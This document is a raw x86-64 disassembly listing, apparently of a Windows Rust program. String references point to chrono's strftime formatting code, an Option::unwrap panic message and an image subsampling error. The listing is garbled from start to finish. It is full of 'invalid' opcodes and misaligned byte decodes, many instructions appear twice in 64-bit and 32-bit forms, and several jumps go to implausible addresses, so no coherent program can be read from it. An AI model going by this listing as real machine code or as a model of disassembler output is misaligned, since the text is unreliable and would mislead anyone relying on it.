add byte [rax], al
mov qword [rbp + 0x148], rdi
mov ebp, 0x148
mov qword [rbp + 0x150], r13
mov dword [rbp + 0x150], ebp
lodsd eax, dword [rsi]
push rax
add dword [rax], eax
add byte [rax], al
invalid
invalid
mov ch, 0x58
pop rax
add byte [rax], al
mov qword [rbp + 0x158], rsi
and qword [rbp + 0x160], 0
invalid
add dword [rax], eax
add byte [rax], al
invalid
pop rax
add dword [rax], eax
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
invalid
add byte [rax - 0x73], cl
lea edx, [rax + 1]
add byte [rax], al
invalid
lea rcx, [rbp + 0x150]
push rax
add dword [rax], eax
add al, ch
iretd
call fcn.1401b829d
add byte [rcx + 0x110000fa], al
cmp edx, 0x110000
add byte [rcx], dl
adc dword [rax], eax
add byte [rdi], cl
test byte [rsi + 0x48000000], dl
xchg esi, eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
je case.0x14002e130.1008
xchg esi, eax
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rcx - 0x77], 0xd6
mov r14d, edx
mov rsi, rax
mov r14d, edx
mov ecx, edx
call fcn.1400231a9
cmp r14d, 0x25
invalid
and eax, 0x82840f
add byte [rax], al
invalid
in eax, dx
inc dword [rcx - 0x7d]
invalid
and eax, 0x82840f
add byte [rax], al
invalid
test al, al
je case.0x140061ea3.437
jmp case.0x1400831b0.396
mov rsi, rdi
test rsi, rsi
je 0x14014afa2
lahf
and al, byte [rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, rdi
mov r8, rsi
mov eax, esi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
or byte [rax], al
call fcn.140023220
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x148], eax
mov dword [rbp + 0x148], eax
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rbp + 0x150], rdx
xchg ebp, eax
push rax
add dword [rax], eax
add dh, al
test dword [rax + 1], eax
add byte [rax], al
add byte [rdx], al
mov rcx, r13
mov byte [rbp + 0x140], 2
mov rcx, r13
mov rdx, qword [rbp + 0x1a0]
mov r8, rsi
mov eax, esi
xchg ebp, eax
movabs al, byte [0x8d4cf08949000001]
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r8, rsi
mov eax, esi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
mov eax, esi
invalid
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
add al, ch
xor esp, dword [rbp + rbp*8 - 0x3a76b601]
dec dword [rcx - 0x77]
invalid
call fcn.140023179
mov r13, rax
mov ebp, eax
dec dword [rcx - 0x77]
invalid
mov ebp, eax
mov qword [rbp + 0x1a0], rdx
lea rcx, [rbp + 0x143]
lea ecx, [rbp + 0x143]
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rbp + 0x143]
invalid
add byte [rax - 0x75], cl
or eax, 0x1d858948
or eax, 0x1d858948
invalid
invalid
invalid
invalid
add dword [rax], eax
mov rax, qword [rcx + 0xd]
mov eax, dword [rcx + 0xd]
mov qword [rbp + 0x11d], rax
mov dword [rbp + 0x11d], eax
add byte [rdi], cl
adc byte [rcx], al
movups xmm0, xmmword [rcx]
movaps xmmword [rbp + 0x110], xmm0
mov al, 2
jmp 0x140148de7
add dword [rax], eax
add byte [rax + 0x4877eb02], dh
mov al, 2
jmp 0x140148de7
invalid
mov rsi, rdi
mov esi, edi
test rsi, rsi
test esi, esi
test byte [rdi], 0x84
and al, byte ds:[rax]
add byte [rcx + rcx*4 - 0x17], cl
invalid
je 0x14014afba
mov rcx, r13
jmp 0x18a0f16cb
mov rdx, rdi
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
lea ecx, [0x1401d14e0]
lea ecx, [0x1401d14e0]
or eax, 0x88754
xchg dword [rax], ecx
add al, ch
invalid
or byte [rax], al
call fcn.140023220
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x148], eax
add qword [rax], rax
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebp, eax
push rax
add dword [rax], eax
add byte [rax], al
add dh, al
test dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebp, eax
push rax
add dword [rax], eax
invalid
add dh, al
test dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
mov rcx, r13
add dword [rax], eax
add byte [rax], al
mov rcx, r13
mov rdx, qword [rbp + 0x1a0]
mov edx, dword [rbp + 0x1a0]
xchg ebp, eax
movabs al, byte [0x8d4cf08949000001]
add byte [rax], al
add byte [rcx - 0x77], cl
mov r8, rsi
invalid
invalid
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
lea ecx, [0x1401d14f8]
or eax, 0x8873e
or eax, 0x8873e
xchg dword ds:[rax], ecx
add al, ch
mov edx, 0x49ffeda3
invalid
in eax, dx
dec dword [rcx - 0x77]
invalid
call fcn.140023179
mov r13, rax
invalid
mov qword [rbp + 0x1a0], rdx
mov dword [rbp + 0x1a0], edx
xchg ebp, eax
movabs al, byte [0x1438d8d48000001]
lea rcx, [rbp + 0x143]
add byte [rax], al
mov rax, qword [rcx + 0xd]
mov eax, dword [rcx + 0xd]
mov qword [rbp + 0x11d], rax
add byte [rdi], cl
adc byte [rcx], al
invalid
movups xmm0, xmmword [rcx]
add dword [rdi], ecx
sub dword [rbp + 0x110], eax
test dword [rax], edx
add dword [rax], eax
invalid
movaps xmmword [rbp + 0x110], xmm0
test dword [rax], edx
add dword [rax], eax
add byte [rcx], dh
xor eax, eax
ror byte [rax - 0x75], 0x8d
sbb eax, 0x48000001
add dword [rax], eax
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x11d]
lea ebx, [0x188148df0]
add byte [rax], al
lea rdx, [rbp + 0xf3]
lea edx, [rbp + 0xf3]
mov qword [rdx + 0xd], rcx
mov dword [rdx + 0xd], ecx
movaps xmm0, xmmword [rbp + 0x110]
add dword [rax], eax
add byte [rdi], cl
adc dword [rdx], eax
add byte [rax], al
movups xmmword [rdx], xmm0
mov byte [rbp + 0xf0], al
mov byte [rbp + 0xf1], al
test ecx, esi
add byte [rax], al
add byte [rax + 0xf285], cl
invalid
add byte [rax + 0xf185], cl
test ecx, esi
int1
add byte [rax], al
add byte [rax + 0xf285], cl
add byte [rax], al
add byte [rdi + rax], bh
cmp al, 7
sete dil
mov rdx, qword [rbp + 0xf8]
xchg ebp, eax
clc
add byte [rax], al
add byte [rax], al
xchg ebp, eax
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], al
add byte [rax], al
mov r8, qword [rbp + 0x100]
movzx eax, al
lea rcx, [0x14028c614]
lea ecx, [0x14028c614]
ror byte [rax - 0x73], 0xd
lea ecx, [0x14028c614]
loope 0x140148e68
invalid
adc al, 0
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
xor ebx, ebx
jmp rax
invalid
enter 0xffffffffffffdb31, 0xffffffffffffffff
loopne case.0x1400c5cc0.239
mov dil, 1
mov bh, 1
xor esi, esi
jmp 0x140148e4f
or al, byte [rax - 0x4a]
mov sil, 1
mov dil, 1
mov bh, 1
jmp 0x140148e4f
invalid
add dword [rax - 0x49], eax
add ebx, ebp
add dh, byte [rcx]
dec dword [rcx + rcx*4 - 0x18]
mov eax, ebp
xor edi, edi
mov rax, r13
call 0xe099919e
add dword [rax], eax
add byte [rax], al
invalid
invalid
lodsd eax, dword [rsi]
add rax, qword [rbp + 0x1a0]
add byte [rax], al
mov qword [rbp + 0x140], r13
mov dword [rbp + 0x140], ebp
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 1], ecx
invalid
mov qword [rbp + 0x148], rax
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x140]
add byte [rax], al
lea rcx, [rbp + 0x140]
lea ecx, [rbp + 0x140]
call fcn.140137f6d
cmp eax, 0x110000
invalid
add byte [rax], al
adc dword [rax], eax
jne case.0x1400c5cc0.261
mov rax, qword [rbp + 0x11d]
sbb eax, 0x48000001
lea ecx, [rbp + 0xf3]
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0xf3]
invalid
mov qword [rcx + 0xd], rax
mov dword [rcx + 0xd], eax
movaps xmm0, xmmword [rbp + 0x110]
sub byte [rbp + 0x110], al
add byte [rdi], cl
adc dword [rcx], eax
invalid
movups xmmword [rcx], xmm0
add dword [rax - 0xf7a77fa], esi
add byte [rax], al
add byte [rax + 0xf185], cl
mov byte [rbp + 0xf1], al
add byte [rax], al
invalid
test edx, esi
add byte [rax], al
mov al, 6
mov byte [rbp + 0xf0], al
mov byte [rbp + 0xf1], al
add byte [rax], al
invalid
add byte [rax], al
mov byte [rbp + 0xf2], al
test edx, esi
add byte [rax], al
add byte [rdi + rax], bh
cmp al, 7
sete dil
sete bh
mov rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
clc
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], al
add byte [rax], al
movzx eax, al
mov dh, 0xc0
lea rcx, [0x14028c614]
lea ecx, [0x14028c614]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
xor ebx, ebx
jmp rax
invalid
add r8, rdx
lea rcx, [rbp + 0x1c0]
add dword [rax], eax
invalid
lea ecx, [rbp + 0x1c0]
add dword [rax], eax
add al, ch
call fcn.140004b33
invalid
outsd dx, dword [rsi]
add byte [rax], al
call fcn.140004b33
jmp 0x14014aa56
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rcx - 0x77], al
mov r14d, eax
mov r14d, eax
push 1
pop r8
pop rax
cmp eax, 0x80
add byte [rax], al
add byte [rdx + 0x1c], dh
add byte [rax], al
add byte [rdx + 0x1c], dh
push 2
pop r8
cmp r14d, 0x800
jb 0x140148f11
invalid
cmovno eax, dword [rcx + 0x10000fe]
cmp r14d, 0x10000
cmp esi, 0x10000
add byte [rax], al
add dword [rax], eax
add byte [rdx + 4], ch
push 4
add al, 0x41
pop rax
pop r8
sbb r8, 0
mov rcx, r13
mov rdx, qword [rbp + 0x1a0]
xchg ebp, eax
movabs al, byte [0x82c60d8d4c000001]
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0x882c6
xchg ebp, eax
movabs al, byte [0x82c60d8d4c000001]
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
invalid
invalid
invalid
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0x882c6
call fcn.140023179
invalid
invalid
or eax, 0x882c6
or byte [rax], al
call fcn.140023179
mov qword [rbp + 0x1a0], rdx
mov dword [rbp + 0x1a0], edx
mov dword [rbp + 0x1a0], edx
xchg ebp, eax
movabs al, byte [0x8440c58949000001]
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
test dil, dil
je case.0x1400e8329.213
invalid
invalid
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r13, rax
test dil, dil
je case.0x1400e8329.213
invalid
invalid
mov rdi, qword [rbp + 0x1a0]
mov edi, dword [rbp + 0x1a0]
mov ebp, 0x1a0
add dword [rax], eax
add byte [rcx - 0x7d], al
invalid
invalid
invalid
add r14d, 0xffffffdb
add esi, 0xffffffdb
cmp r14d, 0x55
invalid
ja case.default.0x140148f55
lea rcx, [0x14028c4bc]
adc al, 0
add byte [rdx + 0x63], cl
add al, 0xb1
invalid
movsxd rax, dword [rcx + r14*4]
mov cl, 0x48
add rax, rcx
add eax, ecx
jmp rax
mov word [rbp + 0x140], 0x405
jmp 0x140149454
invalid
add dword [rax], eax
add byte [0x145047867], al
add eax, 0x4efe904
add eax, 0x4efe904
add byte [rax], al
add byte [rcx - 0x7f], al
cmp r14d, 0x80
cmp esi, 0x80
inc byte [rax + 0x48000000]
mov edi, dword [rbp + 0x1a0]
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x75], cl
mov ebp, 0x1a0
mov rdi, qword [rbp + 0x1a0]
jae 0x140148f8d
cmp r14d, 0x7a
cmp esi, 0x7a
jne case.0x1400c4f7b.264
sti
invalid
invalid
mov word [rbp + 0x140], 5
test dword [rax + 1], eax
add byte [rax], al
add byte [0x144dc788b], al
add eax, 0x4c7e900
jmp 0x140149454
add byte [rax], al
add byte [rbx + 0x140a5], al
and dword [rbp + 0x140], 0
movsd dword [rdi], dword [rsi]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
mov ecx, r14d
int1
lea rdx, [rbp + 0x140]
xchg ebp, eax
add dword [rax], eax
invalid
add byte [rax], al
add al, ch
adc edi, dword [rbx + rbp*8 - 0x3e76b701]
jmp 0x140148fa2
mov rcx, rax
call fcn.140004bb6
jmp 0x140148fa2
dec dword [rax - 0x77]
ror dword [rbp + rcx*4 + 5], 0x7d
invalid
invalid
invalid
mov rcx, rax
lea r8, [0x1401fe42a]
add eax, 0xb547d
jge case.0x1400c5cc0.278
push rsp
or eax, dword [rax]
add byte [rdx + 1], ch
push 1
add dword [rcx + 0x59], eax
pop r9
call fcn.14005a06a
int1
inc dword [rax + rax*8 - 0x1437bf1]
invalid
test al, al
je case.0x1400c4f7b.264
invalid
invalid
invalid
invalid
mov esp, 0xc6fffffe
test dword [rax + 1], eax
add dword [rax], eax
invalid
invalid
mov byte [rbp + 0x140], 6
add dword [rax], eax
add dword [rax], eax
add byte [rsi], al
invalid
jmp 0x140149454
add dh, al
mov byte [rbp + 0x142], 0
test dword [rdx + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rax + 1], eax
add byte [rax], al
invalid
mov word [rbp + 0x140], 0xc04
mov dword [rbp + 0x140], 0x75e90c04
add byte [rsp + rcx], al
add al, 0xc
or al, 0xe9
jne 0x140148fe1
invalid
jmp 0x140149454
add al, 0
add byte [rsi - 0x39], ah
invalid
invalid
add byte [rax], al
mov word [rbp + 0x140], 0x905
jmp 0x140149454
add byte [rax], al
test dword [rax + 1], eax
add dword [rax], eax
add byte [0x1447c78f4], al
add eax, 0x467e909
add byte [rax], al
add eax, 0x467e909
add al, 0
add byte [rax - 0x73], cl
lea rax, [0x140289a20]
add byte [rax], al
lea rax, [0x140289a20]
sub al, 0xa
adc al, 0
or dl, byte [rax + rax]
jmp 0x1401493e8
add dh, al
test dword [rdx + 1], eax
add byte [rax], al
invalid
mov byte [rbp + 0x142], 2
add dword [rax], eax
add byte [rdx], al
add ch, cl
mov esi, 0xc6000002
add byte [rax], al
mov byte [rbp + 0x142], 2
mov word [rbp + 0x140], 0x704
jmp case.0x1400831b0.433
mov byte [rbp + 0x142], 2
add byte [rdx], al
mov word [rbp + 0x140], 0x704
mov dword [rbp + 0x140], 0x8d4c0704
cmp eax, 0x88334
add dword [rax], eax
add byte [rdi + rax], al
lea r15, [0x1401d1350]
jmp 0x1401492eb
add dh, al
test dword [rdx + 1], eax
add dword [rax], eax
add byte [rcx], al
add dword [rsi - 0x39], esp
invalid
invalid
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x1104
test dword [rax + 1], eax
add byte [rax], al
add al, 0x11
invalid
test dword [rax + 1], eax
add dword [rax], eax
add byte [rcx + rdx], al
add al, 0x11
invalid
add byte [rax], al
add al, 0x11
invalid
adc ecx, ebp
jmp 0x140149454
invalid
mov byte [rbp + 0x142], 1
test dword [rdx + 1], eax
add byte [rax], al
add dword [rsi - 0x39], esp
invalid
invalid
test dword [rax + 1], eax
add dword [rax], eax
invalid
mov word [rbp + 0x140], 0xa04
mov dword [rbp + 0x140], 0x9e90a04
add al, 0
add byte [rax], al
invalid
test dword [rdx + 1], eax
invalid
invalid
add dword [rax], eax
add byte [rdx + rcx], al
add al, 0xa
add al, 0xa
jmp 0x140149454
add byte [rax], al
mov byte [rbp + 0x142], 1
add dword [rax], eax
add byte [rax], al
add ecx, ebp
invalid
rol byte [rbx], 1
invalid
add byte [rcx], al
jmp case.0x1400e8329.255
add eax, dword [rax]
add byte [rsi - 0x39], ah
mov dword [rbp + 0x140], 0xefe90e05
add eax, dword [rax]
invalid
add byte [rax], al
mov word [rbp + 0x140], 0xe05
jmp 0x140149454
out dx, eax
add eax, dword [rax]
invalid
mov dword [rbp + 0x140], 0xefe90e05
invalid
out dx, eax
add eax, dword [rax]
add dh, al
mov byte [rbp + 0x142], 1
test dword [rdx + 1], eax
add byte [rax], al
add dword [rsi - 0x39], esp
invalid
invalid
test dword [rax + 1], eax
invalid
invalid
mov word [rbp + 0x140], 0x504
add dword [rax], eax
add byte [rax + 0x3dae9], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, 5
jmp 0x140149454
add byte [rax], al
lea rdx, [0x1401d1fe8]
adc eax, 0x88f67
invalid
invalid
add byte [rax - 0x73], cl
lea eax, [rax + 1]
add dword [rax], eax
add byte [rax], al
lea rcx, [rbp + 0x140]
lea ecx, [rbp + 0x140]
call case.0x14001d4c1.24
lea r15, [0x1401d2000]
lea edi, [0x1401d2000]
jmp 0x1401492eb
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x604
test dword [rax + 1], eax
add byte [rax], al
add al, 6
lea r15, [0x1401d1200]
jmp 0x1401492eb
add cl, ch
add al, byte ss:[rax]
add byte [rax - 0x73], cl
lea rdx, [0x1401d2060]
lea rdx, [0x1401d2060]
lea rcx, [rbp + 0x140]
add byte [rax], al
call case.0x14001d4c1.24
lea r15, [0x1401d2078]
invalid
or byte [rax], al
invalid
or byte [rax], al
push 6
jmp 0x1401493bc
out 2, al
add byte [rax], al
invalid
out 2, al
add byte [rax], al
mov byte [rbp + 0x142], 1
add dword [rax], eax
add byte [rcx], al
mov word [rbp + 0x140], 0x904
mov dword [rbp + 0x140], 0x69e90904
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x88dbe
or byte [rax], al
add al, 9
jmp 0x140149454
lea rdx, [0x1401d1eb0]
or byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rax + 1]
add byte [rax], al
lea rcx, [rbp + 0x140]
call case.0x14001d4c1.24
push 0xc
or al, 0x5b
mov dl, 0x9f
in eax, dx
jmp [rdx + 0xc]
invalid
or al, 0x5b
lea r15, [0x1401d1ec8]
lea ecx, [rax]
add cl, ch
invalid
jmp 0x1401493bd
mov al, 2
add byte [rax], al
mov byte [rbp + 0x142], 2
jmp 0x1401492ae
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x304
test dword [rax + 1], eax
add byte [rax], al
add al, 3
test dword [rax + 1], eax
add byte [rax], al
add al, 3
add dword [rax], eax
add byte [rbx + rax], al
jmp 0x140149454
add byte [rax], al
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0xe04
add byte [rsi + rcx], al
add byte [rsi + rcx], al
lea r15, [0x1401d12f0]
jmp 0x1401492eb
add byte [rax], al
or dword [rax], 0x1a1e900
add byte [rax], al
add cl, ch
movabs eax, dword [0x482f048d4a000001]
add byte [rax], al
lea rax, [rdi + r13]
lea rcx, [rbp + 0xe0]
add byte [rax], al
invalid
lea rax, [rdi + r13]
lea rcx, [rbp + 0xe0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x29], cl
mov qword [rcx], r13
add byte [rax], al
mov qword [rcx], r13
mov qword [rcx + 8], rax
call fcn.140137f6d
cmp eax, 0x110000
je 0x140149374
add byte [rax], al
or al, 0xee
invalid
add byte [rax], al
mov r14d, eax
cmp eax, 0x80
add byte [rax], al
add byte [rax], al
jae 0x14014ab7d
push 1
jmp 0x14014ab8c
add byte [rax], al
lea rax, [rdi + r13]
lea eax, [rdi + rbp]
lea rcx, [rbp + 0x1a8]
mov qword [rcx], r13
mov qword [rcx + 8], rax
or r8b, bpl
invalid
in eax, dx
invalid
invalid
cmp eax, 0x110000
add byte [rdi], cl
je 0x140149374
test cl, dl
rol dword [rcx], 1
add dword [rax], eax
invalid
mov r14d, eax
cmp eax, 0x80
add byte [rax], 0
add byte [rdi], cl
and edx, 0x19
loop 0x1401491c8
add byte [rax], al
add byte [rax], 0
add byte [rdi], cl
and edx, 0x19
loop 0x1401491c8
loop 0x1401491c8
add byte [rax], al
add byte [rdx + 1], ch
push 1
jmp 0x14014aba2
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 4
invalid
test dword [rax + 1], eax
add dword [rax], eax
add byte [rax + rax], al
lea r15, [0x1401d1260]
jmp 0x1401492eb
mov byte [rbp + 0x142], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rax + 1], eax
add byte [rax], al
add al, 0x13
invalid
mov word [rbp + 0x140], 0x1304
jmp 0x140149454
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 4
add al, 0
test dword [rdx + 1], eax
add byte [rax], al
add dword [rsi - 0x39], esp
test dword [rax + 1], eax
add byte [rax], al
add al, 0
jmp 0x140149454
add byte [rax - 0x73], cl
lea rax, str._called__Option::unwrap____on_a__None__value
add eax, 0x8a163
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], 1
test dword [rax + 1], edx
push rax
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add dh, al
test dword [rax + 1], eax
add byte [rax], al
add cl, ch
xor dword [rdx], eax
add byte [rax], al
push rax
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add dh, al
test dword [rax + 1], eax
add byte [rax], al
add cl, ch
xor dword [rdx], eax
add byte [rax], al
mov word [rbp + 0x140], 0x1605
jmp 0x140149454
add dword [rax], eax
add byte [0x142387b45], al
add byte [rax], al
mov byte [rbp + 0x142], 0
add dword [rax], eax
add byte [rax], al
mov word [rbp + 0x140], 0xb04
jmp 0x140149454
invalid
add al, byte [rax]
invalid
lea r8, str.::z:z
lea eax, str.::z:z
or byte [rax], al
push 3
pop r9
pop rcx
pop rcx
mov rcx, r13
mov rdx, rdi
call fcn.14003cd8c
out dx, eax
inc dword [rax + rax*8 + 0x18c3840f]
add byte [rax], al
out dx, eax
inc dword [rax + rax*8 + 0x18c3840f]
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
jge 0x1401491ea
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.38_src_format_strftime.rs
or byte [rax], al
push 3
pop r8
mov rcx, r13
jmp 0x1290f1bbe
call [rsi - 0x76b60013]
invalid
mov word [rbp + 0x140], 0x1105
mov dword [rbp + 0x140], 0xa3e91105
sbb al, byte [rax]
invalid
call [rsi - 0x76b60013]
invalid
mov dword [rbp + 0x140], 0xa3e91105
sbb al, byte [rax]
add byte [rsi - 0x39], ah
test dword [rax + 1], eax
add dword [rax], eax
add byte [0x141d07b9e], al
add dword [rax], eax
invalid
mov word [rbp + 0x140], 0x705
jmp 0x140149454
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rsi - 0x39], ah
test dword [rax + 1], eax
add byte [rax], al
add eax, 0x1ade913
add byte [rax], al
mov word [rbp + 0x140], 0x1305
jmp 0x140149454
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x704
jmp 0x140149454
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0xf04
jmp 0x140149454
add dword [rcx], 0
invalid
lea rdx, [0x1401d1e38]
lea rcx, [rbp + 0x140]
call case.0x14001d4c1.24
lea r15, [0x1401d1e50]
invalid
xor eax, eax
push 4
pop rbx
jmp 0x140149458
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x1004
add byte [rax + rdx], al
add byte [rax + rdx], al
jmp 0x140149454
add dword [rax], eax
add dh, al
test dword [rdx + 1], eax
add byte [rax], al
add dword [rsi - 0x39], esp
test dword [rax + 1], eax
add byte [rax], al
add byte [rsi + rax], al
invalid
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x604
add byte [rsi + rax], al
invalid
jmp 0x140149454
lea rax, [rdi + r13]
lea rcx, [rbp + 0x1a8]
mov qword [rcx], r13
mov qword [rcx + 8], rax
call fcn.140137f6d
cmp eax, 0x110000
je 0x140149374
mov r14d, eax
cmp eax, 0x80
add byte [rax], 0
add byte [rdi], cl
invalid
stosb byte [rdi], al
sbb byte [rax], al
invalid
push 1
jmp 0x14014ac04
lea rax, [rdi + r13]
lea rcx, [rbp + 0x1a8]
lea ecx, [rbp + 0x1a8]
lea ecx, [rbp + 0x1a8]
add byte [rax], al
mov qword [rcx], r13
mov qword [rcx + 8], rax
or al, ch
add al, 0xec
invalid
invalid
cmp eax, 0x110000
adc dword [rax], eax
jne 0x14014ab68
mov qword [rbp + 0x1a0], rdi
jmp case.0x1400c4f7b.264
invalid
inc esi
test dword [rdx + 1], eax
add byte [rax], al
add dword [rsi - 0x39], esp
test dword [rax + 1], eax
add byte [rax], al
add al, 1
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x104
jmp 0x140149454
mov word [rbp + 0x140], 0x505
jmp 0x140149454
invalid
test dword [rax + 1], eax
add byte [rax], al
add eax, 0xb1e905
add byte [rax], al
invalid
add dh, al
test dword [rdx + 1], eax
add byte [rax], al
add dword [rsi - 0x39], esp
invalid
invalid
test dword [rax + 1], eax
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0xe04
add byte [rax], al
add al, 0xe
lea r15, [0x1401d12c0]
push 2
pop rbx
xor eax, eax
jmp 0x140149458
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0xd04
jmp 0x140149454
mov word [rbp + 0x140], 0x805
jmp 0x140149454
lea rax, str._tinvalid_block_size_for_this_subsampling_mode
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], 1
mov byte [rbp + 0x140], 2
add byte [rax], al
add ch, bl
jmp 0x140149454
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x804
jmp 0x140149454
mov word [rbp + 0x140], 0x605
jmp 0x140149454
mov byte [rbp + 0x142], 2
mov word [rbp + 0x140], 0xe04
add dword [rax], eax
add byte [rsi + rcx], al
jmp 0x140149454
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x1204
jmp 0x140149454
mov byte [rbp + 0x142], 1
mov word [rbp + 0x140], 0x204
invalid
add dh, byte [rax + 0x40db3101]
cmp dh, 3
mov al, 1
xor ebx, ebx
cmp sil, 3
mov qword [rbp + 0x1a0], rdi
jne 0x1401494f6
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x14085], cl
mov al, byte [rbp + 0x140]
mov r14b, byte [rbp + 0x141]
add dword [r8], eax
add dword [rax], eax
add byte [rax - 0x76], al
mov ch, 0x42
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rbp + 0x143]
mov al, byte [rbp + 0x140]
mov r14b, byte [rbp + 0x141]
add dword [r8], eax
add dword [rax], eax
add byte [rax - 0x76], al
mov ch, 0x42
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rbp + 0x143]
lea ecx, [rbp + 0x143]
movups xmm0, xmmword [rcx]
movaps xmmword [rbp + 0x110], xmm0
mov rcx, qword [rcx + 0xd]
mov qword [rbp + 0x11d], rcx
add dword [rax], eax
add byte [rdi + rax], bh
cmp al, 7
cmp al, 7
je case.default.0x140148b47
mov rcx, qword [rbp + 0x11d]
lea rdx, [rbp + 0xf3]
lea ebx, [0x1881494aa]
lea edx, [rbp + 0xf3]
mov qword [rdx + 0xd], rcx
movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
mov byte [rbp + 0xf0], al
mov byte [rbp + 0xf1], r14b
int1
add byte [rax], al
add byte [rax - 0x78], al
mov ch, 0xf2
add byte [rax], al
add byte [rax + 0xf], al
xchg esp, eax
invalid
mov rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x100]
test dword [rax], eax
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xc0
lea rcx, [0x14028c614]
xor dword [rax + rax], edx
xor dword [rax + rax], edx
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
xor al, 1
add al, al
or al, 4
cmp byte [rbp + 0x140], 4
mov r14b, byte [rbp + 0x141]
mov ch, 0x41
add dword [r8], eax
add byte [rdi + rcx - 0x4a], al
loopne case.0x14014957a.39
invalid
pop rax
cmovne r12d, eax
cmovne esp, eax
cmovne esp, eax
lea rcx, [rbp + 0x140]
call case.0x14000f477.61
mov rax, qword [rbp + 0x11d]
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
or eax, 0x1085280f
add dword [rax], eax
invalid
movups xmmword [rcx], xmm0
mov byte [rbp + 0xf0], r12b
add byte [rax], al
add byte [rax + rcx*4 - 0x4b], al
mov byte [rbp + 0xf1], r14b
mov byte [rbp + 0xf2], sil
cmp r12b, 7
sete dil
mov rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x100]
add byte [rcx], al
add byte [rax], al
movzx eax, r12b
movzx eax, ah
add byte [rax], al
add byte [rax + rcx*4 - 0x4b], al
mov byte [rbp + 0xf1], r14b
mov byte [rbp + 0xf2], sil
cmp r12b, 7
movzx eax, ah
lea rcx, [0x14028c614]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
invalid
jmp rax
